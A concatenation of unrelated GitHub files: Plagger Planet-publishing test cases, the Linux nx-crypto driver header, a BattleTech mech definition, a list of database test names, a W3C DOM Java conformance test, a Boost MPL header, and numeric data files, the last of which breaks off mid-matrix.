plugins: - module: Subscription::Config config: feed: - file://$t::TestPlagger::BaseDirURI/t/samples/delicious.xml - module: SmartFeed::All - module: Publish::Planet rule: expression: \$args->{feed}->id eq 'smartfeed:all' config: dir: $FindBin::Bin skin: sixapart-std template: style_url: /foo.css --- expected chomp regexp <link rel="stylesheet" type="text/css" href="/foo.css" /> === Testing styles (backward compatibility) --- input config output_file plugins: - module: Subscription::Config config: feed: - file://$t::TestPlagger::BaseDirURI/t/samples/delicious.xml - module: SmartFeed::All - module: Publish::Planet rule: expression: \$args->{feed}->id eq 'smartfeed:all' config: dir: $FindBin::Bin theme: sixapart-std template: style_url: /foo.css --- expected chomp regexp <link rel="stylesheet" type="text/css" href="/foo.css" /> === Testing styles with 2 CSSes --- input config output_file plugins: - module: Subscription::Config config: feed: - file://$t::TestPlagger::BaseDirURI/t/samples/delicious.xml - module: SmartFeed::All - module: Publish::Planet rule: expression: \$args->{feed}->id eq 'smartfeed:all' config: dir: $FindBin::Bin theme: sixapart-std template: style_url: - /foo.css - /bar.css --- expected chomp regexp <link rel="stylesheet" type="text/css" href="/foo.css" />\s*<link rel="stylesheet" type="text/css" href="/bar.css" /> === Testing styles with base URLs --- input config output_file plugins: - module: Subscription::Config config: feed: - file://$t::TestPlagger::BaseDirURI/t/samples/delicious.xml - module: SmartFeed::All - module: Publish::Planet rule: expression: \$args->{feed}->id eq 'smartfeed:all' config: dir: $FindBin::Bin theme: sixapart-std template: url: base: http://example.org/planet/ style_url: - foo.css - /bar.css - http://ext.example.com/bar.css --- expected chomp regexp <link rel="stylesheet" type="text/css" href="http://example.org/planet/foo.css" />\s*<link rel="stylesheet" type="text/css" href="http://example.org/bar.css" />\s*<link rel="stylesheet" type="text/css" href="http://ext.example.com/bar.css" /> === Testing widgets --- input config output_file plugins: - module: Subscription::Config config: feed: - file://$t::TestPlagger::BaseDirURI/t/samples/delicious.xml - module: Widget::Delicious config: username: miyagawa - module: SmartFeed::All - module: Publish::Planet rule: expression: \$args->{feed}->id eq 'smartfeed:all' config: dir: $FindBin::Bin theme: sixapart-std --- expected chomp regexp del\.icio\.us/static/img
{ "pile_set_name": "Github" }
#ifndef __NX_H__ #define __NX_H__ #define NX_NAME "nx-crypto" #define NX_STRING "IBM Power7+ Nest Accelerator Crypto Driver" #define NX_VERSION "1.0" static const char nx_driver_string[] = NX_STRING; static const char nx_driver_version[] = NX_VERSION; /* a scatterlist in the format PHYP is expecting */ struct nx_sg { u64 addr; u32 rsvd; u32 len; } __attribute((packed)); #define NX_PAGE_SIZE (4096) #define NX_MAX_SG_ENTRIES (NX_PAGE_SIZE/(sizeof(struct nx_sg))) enum nx_status { NX_DISABLED, NX_WAITING, NX_OKAY }; /* msc_triplet and max_sync_cop are used only to assist in parsing the * openFirmware property */ struct msc_triplet { u32 keybitlen; u32 databytelen; u32 sglen; } __packed; struct max_sync_cop { u32 fc; u32 mode; u32 triplets; struct msc_triplet trip[0]; } __packed; struct alg_props { u32 databytelen; u32 sglen; }; #define NX_OF_FLAG_MAXSGLEN_SET (1) #define NX_OF_FLAG_STATUS_SET (2) #define NX_OF_FLAG_MAXSYNCCOP_SET (4) #define NX_OF_FLAG_MASK_READY (NX_OF_FLAG_MAXSGLEN_SET | \ NX_OF_FLAG_STATUS_SET | \ NX_OF_FLAG_MAXSYNCCOP_SET) struct nx_of { u32 flags; u32 max_sg_len; enum nx_status status; struct alg_props ap[NX_MAX_FC][NX_MAX_MODE][3]; }; struct nx_stats { atomic_t aes_ops; atomic64_t aes_bytes; atomic_t sha256_ops; atomic64_t sha256_bytes; atomic_t sha512_ops; atomic64_t sha512_bytes; atomic_t sync_ops; atomic_t errors; atomic_t last_error; atomic_t last_error_pid; }; struct nx_debugfs { struct dentry *dfs_root; struct dentry *dfs_aes_ops, *dfs_aes_bytes; struct dentry *dfs_sha256_ops, *dfs_sha256_bytes; struct dentry *dfs_sha512_ops, *dfs_sha512_bytes; struct dentry *dfs_errors, *dfs_last_error, *dfs_last_error_pid; }; struct nx_crypto_driver { struct nx_stats stats; struct nx_of of; struct vio_dev *viodev; struct vio_driver viodriver; struct nx_debugfs dfs; }; #define NX_GCM4106_NONCE_LEN (4) #define NX_GCM_CTR_OFFSET (12) struct nx_gcm_priv { u8 iv[16]; u8 iauth_tag[16]; u8 nonce[NX_GCM4106_NONCE_LEN]; }; #define NX_CCM_AES_KEY_LEN (16) #define NX_CCM4309_AES_KEY_LEN (19) #define NX_CCM4309_NONCE_LEN (3) struct nx_ccm_priv { u8 iv[16]; u8 b0[16]; u8 iauth_tag[16]; u8 oauth_tag[16]; u8 nonce[NX_CCM4309_NONCE_LEN]; }; struct nx_xcbc_priv { u8 key[16]; }; struct nx_ctr_priv { u8 iv[16]; }; struct nx_crypto_ctx { spinlock_t lock; /* synchronize access to the context */ void *kmem; /* unaligned, kmalloc'd buffer */ size_t kmem_len; /* length of kmem */ struct nx_csbcpb *csbcpb; /* aligned page given to phyp @ hcall time */ struct vio_pfo_op op; /* operation struct with hcall parameters */ struct nx_csbcpb *csbcpb_aead; /* secondary csbcpb used by AEAD algs */ struct vio_pfo_op op_aead;/* operation struct for csbcpb_aead */ struct nx_sg *in_sg; /* aligned pointer into kmem to an sg list */ struct nx_sg *out_sg; /* aligned pointer into kmem to an sg list */ struct alg_props *ap; /* pointer into props based on our key size */ struct alg_props props[3];/* openFirmware properties for requests */ struct nx_stats *stats; /* pointer into an nx_crypto_driver for stats reporting */ union { struct nx_gcm_priv gcm; struct nx_ccm_priv ccm; struct nx_xcbc_priv xcbc; struct nx_ctr_priv ctr; } priv; }; /* prototypes */ int nx_crypto_ctx_aes_ccm_init(struct crypto_tfm *tfm); int nx_crypto_ctx_aes_gcm_init(struct crypto_tfm *tfm); int nx_crypto_ctx_aes_xcbc_init(struct crypto_tfm *tfm); int nx_crypto_ctx_aes_ctr_init(struct crypto_tfm *tfm); int nx_crypto_ctx_aes_cbc_init(struct crypto_tfm *tfm); int nx_crypto_ctx_aes_ecb_init(struct crypto_tfm *tfm); int nx_crypto_ctx_sha_init(struct crypto_tfm *tfm); void nx_crypto_ctx_exit(struct crypto_tfm *tfm); void nx_ctx_init(struct nx_crypto_ctx *nx_ctx, unsigned int function); int nx_hcall_sync(struct nx_crypto_ctx *ctx, struct vio_pfo_op *op, u32 may_sleep); int nx_sha_build_sg_list(struct nx_crypto_ctx *, struct nx_sg *, s64 *, unsigned int *, u8 *, u32); struct nx_sg *nx_build_sg_list(struct nx_sg *, u8 *, unsigned int *, u32); int nx_build_sg_lists(struct nx_crypto_ctx *, struct blkcipher_desc *, struct scatterlist *, struct scatterlist *, unsigned int *, unsigned int, u8 *); struct nx_sg *nx_walk_and_build(struct nx_sg *, unsigned int, struct scatterlist *, unsigned int, unsigned int *); #ifdef CONFIG_DEBUG_FS #define NX_DEBUGFS_INIT(drv) nx_debugfs_init(drv) #define NX_DEBUGFS_FINI(drv) nx_debugfs_fini(drv) int nx_debugfs_init(struct nx_crypto_driver *); void nx_debugfs_fini(struct nx_crypto_driver *); #else #define NX_DEBUGFS_INIT(drv) (0) #define NX_DEBUGFS_FINI(drv) (0) #endif #define NX_PAGE_NUM(x) ((u64)(x) & 0xfffffffffffff000ULL) extern struct crypto_alg nx_cbc_aes_alg; extern struct crypto_alg nx_ecb_aes_alg; extern struct crypto_alg nx_gcm_aes_alg; extern struct crypto_alg nx_gcm4106_aes_alg; extern struct crypto_alg nx_ctr_aes_alg; extern struct crypto_alg nx_ctr3686_aes_alg; extern struct crypto_alg nx_ccm_aes_alg; extern struct crypto_alg nx_ccm4309_aes_alg; extern struct shash_alg nx_shash_aes_xcbc_alg; extern struct shash_alg nx_shash_sha512_alg; extern struct shash_alg nx_shash_sha256_alg; extern struct nx_crypto_driver nx_driver; #define SCATTERWALK_TO_SG 1 #define SCATTERWALK_FROM_SG 0 #endif
{ "pile_set_name": "Github" }
Version:1.0 Spartan SPT-N3 Config:Biped TechBase:Inner Sphere Era:3064 Source:TRO 3058 - Civil War Rules Level:2 Mass:80 Engine:400 XL Engine Structure:Standard Myomer:Standard Heat Sinks:16 Double Walk MP:5 Jump MP:0 Armor:Standard(Inner Sphere) LA Armor:26 RA Armor:26 LT Armor:26 RT Armor:26 CT Armor:31 HD Armor:9 LL Armor:26 RL Armor:26 RTL Armor:8 RTR Armor:8 RTC Armor:12 Weapons:7 ER PPC, Left Torso TAG, Left Torso Streak SRM 2, Center Torso Streak SRM 2, Center Torso ER Medium Laser, Right Arm ER Medium Laser, Right Arm ER Medium Laser, Right Arm Left Arm: Shoulder Upper Arm Actuator Lower Arm Actuator Hand Actuator -Empty- -Empty- -Empty- -Empty- -Empty- -Empty- -Empty- -Empty- Right Arm: Shoulder Upper Arm Actuator Lower Arm Actuator Hand Actuator ISERMediumLaser ISERMediumLaser ISERMediumLaser -Empty- -Empty- -Empty- -Empty- -Empty- Left Torso: Fusion Engine Fusion Engine Fusion Engine ISERPPC ISERPPC ISERPPC IS Streak SRM 2 Ammo IS Streak SRM 2 Ammo ISTAG -Empty- -Empty- -Empty- Right Torso: Fusion Engine Fusion Engine Fusion Engine ISC3iUnit ISC3iUnit -Empty- -Empty- -Empty- -Empty- -Empty- -Empty- -Empty- Center Torso: Fusion Engine Fusion Engine Fusion Engine Gyro Gyro Gyro Gyro Fusion Engine Fusion Engine Fusion Engine ISStreakSRM2 ISStreakSRM2 Head: Life Support Sensors Cockpit -Empty- Sensors Life Support -Empty- -Empty- -Empty- -Empty- -Empty- -Empty- Left Leg: Hip Upper Leg Actuator Lower Leg Actuator Foot Actuator -Empty- -Empty- -Empty- -Empty- -Empty- -Empty- -Empty- -Empty- Right Leg: Hip Upper Leg Actuator Lower Leg Actuator Foot Actuator -Empty- -Empty- -Empty- -Empty- -Empty- -Empty- -Empty- -Empty-
{ "pile_set_name": "Github" }
4 4 4 10 6 2 8 0 2 4 37 6 2 6 2 18 6 6 8 13 13 2 10 4 6 4 2 4 15 42 2 6 6 2 27 6 6 4 28 6 17 4 8 25 23 27 4 2 4 29 41 4 13 4 6 15 4 12 12 4 2 9 60 2 4 2 4 2 19 4 4 27 4 4 2 30 4 10 2 4 4 4 4 2 6 4 34 2 4 6 2 2 8 4 4 2 8 6 2 15 10 6 6 46 8 4 4 2 6 4 10 6 2 8 0 4 4 4 4 27 4 6 4 6 10 46 8 4 2 29 2 0 8 4 2 6 2 27 4 10 2 27 2 6 6 15 2 10 2 2 24 6 0 29 4 2 6 6 4 4 4 4 14 4 4 9 8 2 6 4 6 4 2 8 10 4 8 8 6 2 35 21 27 6 8 6 4 2 6 6 8 6 2 6 47 41 8 4 50 19 0 4 10 8 6 4 4 6 2 2 8 6 8 8 2 2 45 6 11 10 14 2 2 6 8 4 8 27 4 33 6 10 4 2 2 6 8 10 2 19 4 27 4 8 2 8 2 2 2 39 15 15 2 18 4 7 13 0 19 34 2 21 12 13 32 2 30 7 2 6 6 8 6 8 10 6 4 13 8 12 2 10 6 6 12 9 17 6
{ "pile_set_name": "Github" }
orthopush-flush inflate test_db_env_strdup_null test_simple_read_txn inflate2 test_db_txn_locks_read_uncommitted test_txn_cursor_last test_5015 test_large_update_broadcast_small_cachetable test_cursor_with_read_txn test_db_close_no_open test_4657 test_db_env_set_lg_dir test_cursor_DB_NEXT_no_dup test_db_dbt_mem_behavior test_update_broadcast_stress test_log4_abort test_log6 test_db_env_set_tmp_dir test_kv_limits test_log4 test_log8 test_log9 test_log10 test-update test_db_change_xxx test_db_txn_locks_nonheaviside test_log5 test_log7 test_log6_abort test_log5_abort test_log6a_abort test_update_txn_snapshot_works_correctly_with_deletes test_reverse_compare_fun test_read_txn_invalid_ops test_update_txn_snapshot_works_concurrently test_iterate_pending_lock_requests test_cursor_nonleaf_expand test_db_named_delete_last test_mostly_seq test_db_descriptor test_db_already_exists test_cursor_db_current test_db_set_flags test_db_current_clobbers_db test_insert_cursor_delete_insert test_db_version test_db_change_pagesize test_4368 test_4015 test_789 test_rollinclude test4573_logtrim test_5138 test_weakxaction transactional_fileops test5092 test_935 test938b zombie_db test_cursor_null test_db_subdb_different_flags test_db_remove_subdb test_groupcommit_perf test938 test_hsoc test_txn_begin_commit test_get_max_row_size rowsize test_insert_memleak test_cursor_2 test_db_get_put_flags test_txn_commit8 test_db_subdb filesize test-log0 test-log1 test-log2 test-log3 test-log2-abort test-log3-abort seqinsert test_update_broadcast_changes_values test_update_broadcast_indexer update-multiple-data-diagonal update-multiple-key0 update-multiple-nochange update-multiple-with-indexer update-multiple-with-indexer-array test_txn_nested1 test_txn_nested5 test_txn_nested4 test_txn_nested3 test_txn_nested2 last-verify-time manyfiles test-db-delete db-put-simple-deadlock db-put-update-deadlock db-put-simple-deadlock-threads del-simple del-multiple del-multiple-srcdb del-multiple-huge-primary-row stat64 stat64-null-txn stat64-root-changes stat64-create-modify-times test-abort1 put-del-multiple-array-indexing test-abort2 test-abort3 test-abort4 test-abort5 test-abort-delete-first list-files list-tests mempool marked-omt omt-tmpl frwlock-fair-writers rwlock-unfair-writers threadpool-testrunf rwlock-cheapness rwlock threadpool kibbutz sort-tmpl doubly-linked-list partitioned-counter-5833 partitioned-counter gettime gettimeofday get_filesystem_sizes stat active-cpus fair-rwlock msnfilter cpu-frequency cpu-frequency-openlimit hugepage fsync-directory flock fsync-files fgetc toku-malloc range-buffer wfg manager_cd manager-reference-release-lt txnid-set manager-params verify-dup-in-leaf lock-request-create-set lock-request-get-set-keys lock-request-wait-time-callback lock-request-start-deadlock locktree-create-destroy locktree-misc locktree-infinity locktree-simple-lock locktree-conflicts test-update-empty-table locktree-single-snxid-optimization concurrent_tree_create_destroy concurrent-tree-lkr-remove-all concurrent-tree-lkr-insert-remove concurrent-tree-lkr-acquire-release concurrent-tree-lkr-insert-serial-large pwrite4g toku-snprintf manager_lm manager-status omt-test mkdir remove slab assert posix-memalign dio realloc mkrmdir verify-unsorted-leaf unlink getdents64 openclose stat_ftfs statfs preadwrite readwrite pwrite write readlink f-all f-all bug1381 cursor-step-over-delete x1764-test isolation-test cursor-isolation redirect isolation-read-committed openclose-dir recursive-deletion trunc ftrunc fsync fcopy test_locktree_overlapping test_lockrequest_pending test_locktree_escalation mem-status test_key test-cachesize keyrange progress-test checkpoint1-test test_log is_empty make-tree blackhole test_queue test_fifo logcursor-bw logcursor-fw logcursor-print list-test logfilemgr_c_d logcursor-timestamp logcursor-bad-checksum logcursor-empty-logdir logcursor-empty-logfile logcursor-empty-logfile-3 logcursor-empty-logfile-2 logfilemgr-print test_log_3 test_log_2 test_log_5 test_log_6 checkpoint-during-split test_log_7 test_log_4 list-test comparator-test minicron benchmark-test verify-dup-pivots cachetable-test cachetable-fd cachetable-4365 cachetable-4357 cachetable-5978 cachetable-5978-2 cachetable-put cachetable-put-checkpoint cachetable-checkpoint-prefetched-nodes cachetable-pin-nonblocking-checkpoint-clean cachetable-checkpoint-pinned-nodes cachetable-debug cachetable-simple-clone cachetable-simple-pin-nonblocking cachetable-simple-pin-nonblocking-cheap cachetable-simple-pin cachetable-simple-close cachetable-simple-pin-cheap cachetable-simple-unpin-remove-checkpoint cachetable-getandpin cachetable-cleaner-thread-simple cachetable-flush-during-cleaner cachetable-clone-unpin-remove cachetable-simple-clone2 cachetable-writer-thread-limit cachetable-evictor-class cachetable-checkpoint cachetable-checkpointer-class cachetable-prefetch-flowcontrol-test cachetable-rwlock cachetable-all-write cachetable-clone-checkpoint logcursor_test ft-test0 bnc-insert-benchmark maybe-trim test-update-single-key pqueue-test cachetable-5097 cachetable cachetable-checkpoint-pending cachetable-count-pinned cachetable-unpin-rm-and-checkpoint cachetable-clone-pin-nonblocking cachetable-create cachetable-clone-partial-fetch cachetable-thread-empty cachetable-simplereadpin cachetable-prefetch-close cachetable-clock-eviction cachetable-clock-eviction2 cachetable-clock-eviction3 cachetable-clock-eviction4 cachetable-eviction-close cachetable-eviction-close2 cachetable-eviction-getandpin cachetable-eviction-getandpin2 cachetable-cleanerthread_attrs_accumulate cachetable-simple-pin cachetable-simple-put cachetable-prefetch-maybegetandpin cachetable-prefetch-getandpin cachetable-simple-maybegetandpin cachetable-simple-readpin cachetable-cleaner-checkpoint2 cachetable-partial-fetch cachetable-flush cachetable-partial-fetch ft-test1 ft-test2 test-cursor-flags ft-test3 ft-test4 ft-test5 ft-test cachetable-prefetch-checkpoint cachetable-cleaner-thread-same-fullhash cachetable-unpin-and-remove cachetable-unpin cachetable-cleaner-thread-nothing-needs-flushing bjm ft-serialize-sub-block ft-serialize-benchmark ft-serialize ft-test-cursor ft-test-cursor-2 ft-test-header ybt-test test-3856 test-3681 le-cursor-provdel subblock-test-compression dump-ft test-4244 test-4115 test-3884 test-1308a subblock-test-checksum subblock-test-size subblock-test-index ft-bfe-query dirty-flushes-on-cleaner flushes-on-cleaner checkpoint-during-merge checkpoint-during-flush checkpoint-during-rebalance merges-on-cleaner toku-malloc-plain-free recovery-datadir-is-file txn-child-manager oldest-referenced-xid-flush block-allocator-merge del-inorder recovery-no-logdir recovery-no-datadir recovery-lsn-error-during-forward-scan hot-with-bounds inc-split pick-child-to-flush oexcl cachetable-cleaner-checkpoint cachetable-kibbutz-and-flush-cachefile cachetable-cleaner-thread-everything-pinned cachetable-prefetch-close-leak-test recovery-cbegin recovery-cbegin-cend-hello verify-bad-pivots recovery-cbegin-cend recovery-no-log recovery-cend-cbegin recovery-empty verify-unsorted-pivots recovery-hello verify-bad-msn cachetable-clock-all-pinned cachetable-fetch-inducing-evictor cachetable-prefetch2 recovery-test5123 le-cursor-walk le-nested le-child-txn test_recovery_fopen_missing_file test_recovery_bad_last_entry cachetable-clone-partial-fetch-pinned-node test-quicklz ft-overflow big-nested-aa big-nested-ac big-nested-cc big-nested-ca keyrange-merge blocking-first blocking-first-empty blocking-last db-put-simple-lockwait bigtxn27 test_db_env_open_close blocking-next-prev blocking-next-prev-deadlock blocking-prelock-range blocking-put blocking-put-wakeup blocking-put-timeout blocking-set blocking-set-range-0 blocking-set-range-n blocking-set-range-reverse-0 blocking-table-lock cachetable-race test-get-key-after-bytes checkpoint-fairness directory-lock cursor-set-range-rmw cursor-set-del-rmw env-loader-memory test-txn-nested-abort test_bug1381 preload-db simple multiprocess test_archive0 test_archive1 test_archive2 test-prelock-read-read test-prelock-read-write test-prelock-write-write test-prelock-write-read insert-dup-prelock env-startup mvcc-create-table mvcc-many-committed mvcc-read-committed preload-db-nested test_txn_nested_abort test_txn_nested_abort2 test_txn_nested_abort3 test_txn_nested_abort4 recover-test1 shutdown-3344 recover-test2 recover-test3 recover-2483 test_txn_recover3 openlimit17 openlimit17-metafiles openlimit17-locktree test_unused_memory_crash test_update_abort_works test_update_broadcast_abort_works test_update_broadcast_calls_back test_update_broadcast_can_delete_elements test_update_broadcast_nested_updates test_update_broadcast_previously_deleted test_update_broadcast_update_fun_has_choices cursor-more-than-a-leaf-provdel dump-env env-put-multiple medium-nested-commit-commit test-xopen-eclose test-stress0 test-stress1 test-stress2 test-stress4 test-stress6 test-stress7 test-stress-openclose test-stress-with-verify perf-child-txn perf-rangequery perf-read-txn perf-read-txn-single-thread perf-nop perf-checkpoint-var perf-malloc-free perf-cursor-nop perf-insert perf-iibench perf-ptquery perf-ptquery2 perf-read-write stress-test stress-gc stress-gc2 transactional-descriptor thread-flags thread-insert trans-desc-during-chkpt trans-desc-during-chkpt2 trans-desc-during-chkpt3 trans-desc-during-chkpt4 txn-abort5 txn-abort5a txn-abort6 txn-abort7 txn-abort8 txn-abort9 txn-close-before-commit txn-close-before-prepare-commit txn-close-open-commit test_update_calls_back test1753 test1572 test1842 test3039 test3219 test3522 test3522b test3529 test_3529_insert_2 test_3529_table_lock env-close-flags env-open-flags test-update-data-diagonal env-create-db-create test-error test-forkjoin test-get-zeroed-dbt test-groupcommit-count test-locking-with-read-txn test-lock-timeout-callback test-locktree-close test_update_can_delete_elements test_update_changes_values test_update_nested_updates test_update_nonexistent_keys test_update_previously_deleted test-blobs-leaf-split test-bulk-fetch test-cmp-descriptor test-cursor-3 test-cursor-stickyness test-cursor-delete2 test-logflush test_update_stress test_zero_length_keys test_db_env_open_nocreate test_db_env_open_open_close test_db_env_set_errpfx test_db_open_notexist_reopen test_db_remove test_iterate_live_transactions test_xopen_eclose test-logmax test-log1-abort replace-into-write-lock test-query test-nested test-nodup-set test_3645 root-fifo-32 root-fifo-31 root-fifo-1 root-fifo-2 test-multiple-checkpoints-block-commit test-rand-insert test-nested-xopen-eclose print_engine_status xid-lsn-independent verify-misrouted-msgs queries_with_deletes seqwrite_no_txn
{ "pile_set_name": "Github" }
/* This Java source file was generated by test-to-java.xsl and is a derived work from the source document. The source document contained the following notice: Copyright (c) 2001 World Wide Web Consortium, (Massachusetts Institute of Technology, Institut National de Recherche en Informatique et en Automatique, Keio University). All Rights Reserved. This program is distributed under the W3C's Software Intellectual Property License. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See W3C License http://www.w3.org/Consortium/Legal/ for more details. */ package org.w3c.domts.level2.core; import org.w3c.dom.*; import org.w3c.domts.DOMTestCase; import org.w3c.domts.DOMTestDocumentBuilderFactory; /** * The "importNode(importedNode,deep)" method for a * Document should import the given importedNode into that Document. * The importedNode is of type Document_Fragment. * * Create a DocumentFragment in a different document. * Invoke method importNode(importedNode,deep) on this document * with importedNode being the newly created DocumentFragment. * Method should return an empty DocumentFragment that belongs * to this document whose systemId is "staff.dtd" * @author NIST * @author Mary Brady * @see <a href="http://www.w3.org/TR/DOM-Level-2-Core/core#Core-Document-importNode">http://www.w3.org/TR/DOM-Level-2-Core/core#Core-Document-importNode</a> * @see <a href="http://www.w3.org/TR/DOM-Level-2-Core/core#ID-Core-DocType-systemId">http://www.w3.org/TR/DOM-Level-2-Core/core#ID-Core-DocType-systemId</a> */ public final class importNode08 extends DOMTestCase { /** * Constructor. * @param factory document factory, may not be null * @throws org.w3c.domts.DOMTestIncompatibleException Thrown if test is not compatible with parser configuration */ public importNode08(final DOMTestDocumentBuilderFactory factory) throws org.w3c.domts.DOMTestIncompatibleException { super(factory); // // check if loaded documents are supported for content type // String contentType = getContentType(); preload(contentType, "staffNS", true); preload(contentType, "staffNS", true); } /** * Runs the test case. * @throws Throwable Any uncaught exception causes test to fail */ public void runTest() throws Throwable { Document doc; Document aNewDoc; DocumentFragment docFrag; Node aNode; boolean hasChild; Document ownerDocument; DocumentType docType; String system; doc = (Document) load("staffNS", true); aNewDoc = (Document) load("staffNS", true); docFrag = aNewDoc.createDocumentFragment(); aNode = doc.importNode(docFrag, false); hasChild = aNode.hasChildNodes(); assertFalse("hasChild", hasChild); ownerDocument = aNode.getOwnerDocument(); docType = ownerDocument.getDoctype(); system = docType.getSystemId(); assertURIEquals("system", null, null, null, "staffNS.dtd", null, null, null, null, system); } /** * Gets URI that identifies the test. * @return uri identifier of test */ public String getTargetURI() { return "http://www.w3.org/2001/DOM-Test-Suite/level2/core/importNode08"; } /** * Runs this test from the command line. * @param args command line arguments */ public static void main(final String[] args) { DOMTestCase.doMain(importNode08.class, args); } }
{ "pile_set_name": "Github" }
#ifndef BOOST_MPL_BEGIN_END_FWD_HPP_INCLUDED #define BOOST_MPL_BEGIN_END_FWD_HPP_INCLUDED // Copyright Aleksey Gurtovoy 2000-2004 // // Distributed under the Boost Software License, Version 1.0. // (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) // // See http://www.boost.org/libs/mpl for documentation. // $Id$ // $Date$ // $Revision$ namespace boost { namespace mpl { template< typename Tag > struct begin_impl; template< typename Tag > struct end_impl; template< typename Sequence > struct begin; template< typename Sequence > struct end; }} #endif // BOOST_MPL_BEGIN_END_FWD_HPP_INCLUDED
{ "pile_set_name": "Github" }
81 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 80 5 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 43 9 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 39 2 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 42 27 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 79 2 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 19 22 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 5 6 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 23 46 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 43 12 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 6 98 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 33 21 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 17 27 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 84 33 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 6 34 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 23 48 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 81 19 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 22 16 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 17 32 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 